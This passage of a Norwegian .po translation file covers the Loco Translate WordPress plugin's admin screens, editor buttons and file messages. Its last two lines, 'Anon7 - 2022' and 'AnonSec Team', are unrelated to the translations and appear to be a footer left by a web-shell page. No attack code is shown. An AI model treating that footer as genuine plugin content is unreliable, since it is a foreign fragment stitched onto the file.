msgstr ".MO-fil eksisterer allerede for dette språket. Slett den først"

#: src/ajax/FsConnectController.php:117
msgid "Connected to remote file system"
msgstr "Koblet til eksternt filsystem"

#: src/admin/list/ThemesController.php:14
msgid "Translate themes"
msgstr "Oversett temaer"

#: src/admin/list/PluginsController.php:12
msgid "Translate plugins"
msgstr "Oversett utvidelser"

#. translators: %s refers to the name of a translation set (theme, plugin or
#. core component)
#: src/admin/init/InitPotController.php:106
msgid "New translations template for \"%s\""
msgstr "Ny oversettelsesmal for \"%s\""

#: src/admin/init/InitPotController.php:104
msgid "New template file"
msgstr "Ny malfil"

#: src/admin/init/InitPotController.php:56
msgid "Template file already exists"
msgstr "Malfil eksisterer allerede"

#: src/admin/init/InitPotController.php:16
msgid "New template"
msgstr "Ny mal"

#: src/admin/init/InitPoController.php:223
msgid "Skip template"
msgstr "Hopp over mal"

#. translators: Were %s is number of source files that will be scanned
#: src/admin/init/InitPoController.php:280
msgid "%s source file will be scanned for translatable strings"
msgid_plural "%s source files will be scanned for translatable strings"
msgstr[0] "%s kildefil blir skannet for oversettbare strenger"
msgstr[1] "%s kildefiler blir skannet for oversettbare strenger"

#. translators: 1: Number of strings; 2: Name of POT file; e.g. "100 strings
#. found in file.pot"
#: src/admin/init/InitPoController.php:249
msgid "%1$s string found in %2$s"
msgid_plural "%1$s strings found in %2$s"
msgstr[0] "%1$s streng funnet i %2$s"
msgstr[1] "%1$s strenger funnet i %2$s"

#: src/admin/init/InitPoController.php:119
msgid "Initializing new translations in unknown set"
msgstr "Initialisering av nye oversettelser i ukjent sett"

#. translators: %s refers to the slug/handle of a theme or plugin
#: src/admin/init/InitPoController.php:115
msgid "Initializing new translations in \"%s\""
msgstr "Initialiserer nye oversettelser i \"%s\""

#. translators: Warning that the language in the file header (1) does not match
#. the file name (2)
#: src/admin/file/InfoController.php:177
msgid "Language header is \"%1$s\" but file name contains \"%2$s\""
msgstr "Språkoverskrift er \"%1$s\", men filnavnet inneholder \"%2$s\""

#: src/admin/file/InfoController.php:169
msgid "File does not have a valid header"
msgstr "Filen har ikke et gyldig sidehode "

#: src/admin/file/InfoController.php:137 src/package/Header.php:86
msgid "Unknown author"
msgstr "Ukjent forfatter"

#. Translators: Button that toggles between "code" and regular text editing
#. modes
#: src/admin/file/EditController.php:232
msgctxt "Editor"
msgid "Toggle code view"
msgstr "Veksle kodevisning"

#. Translators: Button that toggles invisible characters
#: src/admin/file/EditController.php:230
msgctxt "Editor"
msgid "Toggle invisibles"
msgstr "Veksle usynlige"

#. Translators: Button for downloading a PO, MO or POT file
#: src/admin/file/EditController.php:226
msgctxt "Editor"
msgid "Download"
msgstr "Last ned"

#. Translators: Button that reloads current screen
#: src/admin/file/EditController.php:220
msgctxt "Editor"
msgid "Revert"
msgstr "Last inn siden på nytt"

#. Translators: Button that runs in-editor sync/operation
#: src/admin/file/EditController.php:218
msgctxt "Editor"
msgid "Sync"
msgstr "Synkroniser"

#. Translators: Button that saves translations to disk
#: src/admin/file/EditController.php:216
msgctxt "Editor"
msgid "Save"
msgstr "Lagre"

#: src/admin/file/EditController.php:214 src/ajax/ApisController.php:26
msgid "Help"
msgstr "Hjelp"

#. Translators: button for removing a string when manually editing a POT file
#: src/admin/file/EditController.php:213
msgctxt "Editor"
msgid "Remove"
msgstr "Fjern"

#. Translators: button for adding a new string when manually editing a POT file
#: src/admin/file/EditController.php:211
msgctxt "Editor"
msgid "Add"
msgstr "Legg til"

#. translators: %s refers to the name of a POT file
#: src/admin/file/EditController.php:131
msgid "Translations don't match template. Run sync to update from %s"
msgstr "Oversettelser samsvarer ikke med mal. Kjør Synkronisering for å oppdatere fra %s"

#. translators: %1$s is the file name, %2$s is the bundle name
#: src/admin/file/EditController.php:18
msgid "Editing %1$s in %2$s"
msgstr "Redigerer %1$s i %2$s"

#. translators: Warning that deleting a file will also delete others. %s
#. indicates that quantity.
#: src/admin/file/DeleteController.php:104
msgid "%s dependent file will also be deleted"
msgid_plural "%s dependent files will also be deleted"
msgstr[0] "%s avhengig fil vil også bli slettet"
msgstr[1] "%s avhengige filer vil også bli slettet"

#. translators: Page title where %s is the name of a file to be deleted
#: src/admin/file/DeleteController.php:79
#: src/admin/file/DeleteController.php:98
msgid "Delete %s"
msgstr "Slett %s"

#: src/admin/file/DiffController.php:45
msgid "File deleted"
msgstr "Fil slettet"

#: src/admin/file/BaseController.php:122 tpl/admin/bundle/inc-po-table.php:66
#: tpl/admin/bundle/locale.php:75 tpl/admin/file/diff.php:32
msgid "Delete"
msgstr "Slett"

#: src/admin/file/BaseController.php:119 tpl/admin/bundle/inc-po-table.php:25
#: tpl/admin/bundle/locale.php:43
msgid "File info"
msgstr "Filinfo"

#: src/admin/file/BaseController.php:118
msgid "Source"
msgstr "Kilde"

#: src/admin/file/BaseController.php:117
msgid "Editor"
msgstr "Redigeringverktøy"

#: src/admin/config/SettingsController.php:51
msgid "Super Admin"
msgstr "Superadmin"

#: src/admin/config/ApisController.php:69
#: src/admin/config/PrefsController.php:42
#: src/admin/config/SettingsController.php:79
#: src/admin/config/VersionController.php:22 src/mvc/AdminRouter.php:66
#: tpl/admin/help/tab-config.php:2
msgid "Plugin settings"
msgstr "Innstillinger for utvidelse"

#: src/admin/config/DebugController.php:55
msgid "System diagnostics"
msgstr "Systemdiagnostikk"

#: src/admin/config/BaseController.php:21
#: src/admin/config/VersionController.php:13
msgid "Version"
msgstr "Versjon"

#: src/admin/config/BaseController.php:19
#: src/admin/config/PrefsController.php:13 src/mvc/AdminRouter.php:71
msgid "User options"
msgstr "Brukeralternativer"

#: src/admin/config/BaseController.php:18
msgid "Site options"
msgstr "Innstillinger for nettstedet"

#: src/admin/bundle/ViewController.php:133
#: src/admin/init/InitPoController.php:218 tpl/admin/init/init-pot.php:40
msgid "Create template"
msgstr "Opprett mal"

#: src/admin/bundle/ViewController.php:124
msgid "Edit template"
msgstr "Rediger mal"

#: src/admin/bundle/ViewController.php:99 src/admin/file/BaseController.php:141
#: src/admin/init/InitPoController.php:16
#: src/admin/init/InitPoController.php:122
msgid "New language"
msgstr "Nytt språk"

#. translators: %s is a quantity of files which were found, but whose context
#. is unknown
#: src/admin/bundle/SetupController.php:115
msgid "%s file can't be matched to a known set of strings"
msgid_plural "%s files can't be matched to a known set of strings"
msgstr[0] "%s fil kan ikke matches med et kjent sett med strenger"
msgstr[1] "%s filer kan ikke matches med et kjent sett med strenger"

#: src/admin/bundle/SetupController.php:35
msgid "Bundle setup"
msgstr "Buntoppsett"

#: src/admin/bundle/SetupController.php:25
msgid "Setup tab"
msgstr "Oppsettsfane"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/SetupController.php:15
msgid "Set up %s"
msgstr "Sett opp %s"

#: src/admin/bundle/ConfController.php:137 tpl/admin/bundle/setup/core.php:17
#: tpl/admin/bundle/setup/inc-nav.php:19
msgid "Advanced configuration"
msgstr "Avansert konfigurasjon"

#: src/admin/bundle/ConfController.php:52
msgid "Advanced tab"
msgstr "Avansert fane"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/ConfController.php:16
msgid "Configure %s"
msgstr "Konfigurer %s"

#: src/admin/bundle/BaseController.php:107
#: src/admin/config/DebugController.php:12 src/error/Debug.php:19
#: src/mvc/AdminRouter.php:77
msgid "Debug"
msgstr "Feilsøk"

#: src/admin/bundle/BaseController.php:102 tpl/admin/file/conf.php:58
#: tpl/admin/file/move.php:26
msgid "Advanced"
msgstr "Avansert"

#: src/admin/bundle/BaseController.php:101
msgid "Setup"
msgstr "Oppsett"

#: src/admin/bundle/BaseController.php:54
msgid "Configuration reset"
msgstr "Konfigurasjon tilbakestilt"

#: src/admin/bundle/BaseController.php:40
msgid "Configuration saved"
msgstr "Konfigurasjon lagret"

#. translators: home screen title where %s is the version number
#: src/admin/RootController.php:23
msgid "Loco Translate %s"
msgstr "Loco Translate %s"

#: src/admin/bundle/BaseController.php:100
#: src/admin/bundle/LocaleController.php:34
#: src/admin/bundle/ViewController.php:25
#: src/admin/config/BaseController.php:39 src/admin/file/EditController.php:27
#: src/admin/file/InfoController.php:26 src/admin/file/ViewController.php:26
#: src/admin/init/InitPoController.php:25
#: src/admin/init/InitPotController.php:25 src/admin/list/BaseController.php:45
#: src/admin/list/LocalesController.php:24 src/admin/RootController.php:12
msgid "Overview"
msgstr "Oversikt"

#: src/admin/bundle/LocaleController.php:154 src/admin/Navigation.php:30
#: src/mvc/AdminRouter.php:49
msgid "Plugins"
msgstr "Utvidelser"

#: src/admin/bundle/LocaleController.php:149 src/admin/Navigation.php:27
#: src/mvc/AdminRouter.php:44
msgid "Themes"
msgstr "Temaer"

#: src/Locale.php:306
msgid "Invalid locale"
msgstr "Ugyldig landskode"

#. translators: %s refers to the name of a missing PHP extension, for example
#. "mbstring".
#: loco.php:131
msgid "Loco Translate requires the \"%s\" PHP extension. Ask your hosting provider to install it"
msgstr "Loco Translate krever PHP-utvidelsen \"%s\". Be din hosting-leverandør om å installere den"

#. Author of the plugin
#: loco.php
msgid "Tim Whitlock"
msgstr "Tim Whitlock"

#. Plugin URI of the plugin
#: loco.php
msgid "https://wordpress.org/plugins/loco-translate/"
msgstr "https://nb.wordpress.org/plugins/loco-translate/"

#. Translators: Placeholder text for text filter above editor
#: src/admin/file/EditController.php:228
msgid "Filter translations"
msgstr "Filtrer oversettelser"

#: tpl/admin/bundle/conf.php:65 tpl/admin/bundle/inc-po-table.php:45
#: tpl/admin/file/edit-pot.php:20 tpl/admin/file/info-pot.php:18
#: tpl/admin/file/view-pot.php:9
msgid "Template file"
msgstr "Malfil"

#: tpl/admin/config/apis.php:166 tpl/admin/config/prefs.php:44
#: tpl/admin/config/settings.php:233
msgid "Save settings"
msgstr "Lagre innstillinger"

#: tpl/admin/config/settings.php:62
msgid "Number of backups to keep of each file:"
msgstr "Antall sikkerhetskopiering å beholde av hver fil:"

#: tpl/admin/config/settings.php:137
msgid "Include Fuzzy strings"
msgstr "Inkluder uklare strenger"

#: tpl/admin/config/settings.php:131
msgid "Generate hash tables"
msgstr "Generer hash-tabeller"

#: tpl/admin/config/settings.php:120 tpl/admin/config/settings.php:126
msgid "Compiling MO files"
msgstr "Kompilerer .MO-filer"

#: tpl/admin/bundle/locale.php:14 tpl/admin/common/inc-po-header.php:8
#: tpl/admin/file/edit-pot.php:22 tpl/admin/file/view-pot.php:11
msgctxt "Modified time"
msgid "Updated"
msgstr "Oppdatert"

#. translators: Warning appears when user tries to refresh or navigate away
#. when editor work is unsaved
#: src/js/Strings.php:105
msgid "Your changes will be lost if you continue without saving"
msgstr "Endringene dine vil bli tapt om du fortsetter uten å lagre"

#. translators: Summary of existing strings that no longer exist after running
#. in-editor Sync xgettext: javascript-format
#: src/js/Strings.php:32
msgid "%s obsolete string removed"
msgid_plural "%s obsolete strings removed"
msgstr[0] "%s utdatert streng fjernet"
msgstr[1] "%s utdaterte strenger fjernet"

#. translators: Summary of new strings after running in-editor Sync xgettext:
#. javascript-format
#: src/js/Strings.php:28
msgid "%s new string added"
msgid_plural "%s new strings added"
msgstr[0] "%s ny streng lagt til"
msgstr[1] "%s nye strenger lagt til"

#. translators: Message appears after sync operation.
#: src/js/Strings.php:47
msgid "Strings up to date with source code"
msgstr "Strengene er allerede oppdatert mot kildekoden"

#. translators: Message appears after sync operation
#: src/js/Strings.php:24
msgid "Merged from source code"
msgstr "Sammenslått fra kildekode"

#. translators: Where %s is the name of the POT template file. Message appears
#. after sync xgettext: javascript-format
#: src/js/Strings.php:21
msgid "Merged from %s"
msgstr "Sammenslått fra %s"

#. translators: Success notice where %s is a file extension, e.g. "PO"
#: src/admin/file/HeadController.php:81 src/gettext/Compiler.php:287
msgid "%s file saved"
msgstr "%s-fil lagret"

#: src/js/Strings.php:145
msgid "Unknown error"
msgstr "Ukjent feil"

#: src/admin/file/EditController.php:182 src/mvc/AdminRouter.php:67
#: src/mvc/AdminRouter.php:72 tpl/admin/common/inc-fsconn.php:18
#: tpl/admin/common/inc-fsconn.php:43 tpl/admin/errors/no-backups.php:24
#: tpl/ajax/modal-apis-empty.php:15
msgid "Settings"
msgstr "Innstillinger"

#. Plugin Name of the plugin
#: loco.php src/hooks/AdminHooks.php:88 src/mvc/AdminRouter.php:37
msgid "Loco Translate"
msgstr "Loco Translate"

#. translators: Page title for plugin home screen
#: src/mvc/AdminRouter.php:39
msgid "Loco, Translation Management"
msgstr "Loco, Oversettelse Administrering"

#. translators: Shows number of untranslated strings at top of editor
#. translators: Shows number of untranslated strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:209 src/js/Strings.php:121
msgid "%s untranslated"
msgstr "%s ikke oversatt"

#. translators: Shows number of fuzzy strings at top of editor
#. translators: Shows number of fuzzy strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:205 src/js/Strings.php:117
msgid "%s fuzzy"
msgstr "%s uklare"

#. translators: Shows percentage translated at top of editor
#. translators: Shows percentage translated at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:202 src/js/Strings.php:113
msgid "%s%% translated"
msgstr "%s%% oversatt"

#: src/admin/config/ApisController.php:53
#: src/admin/config/PrefsController.php:26
#: src/admin/config/SettingsController.php:31
msgid "Settings saved"
msgstr "Innstillinger lagret"

#: src/error/WriteException.php:13
msgid "Permission denied"
msgstr "Tillatelse nektet"

Anon7 - 2022
AnonSec Team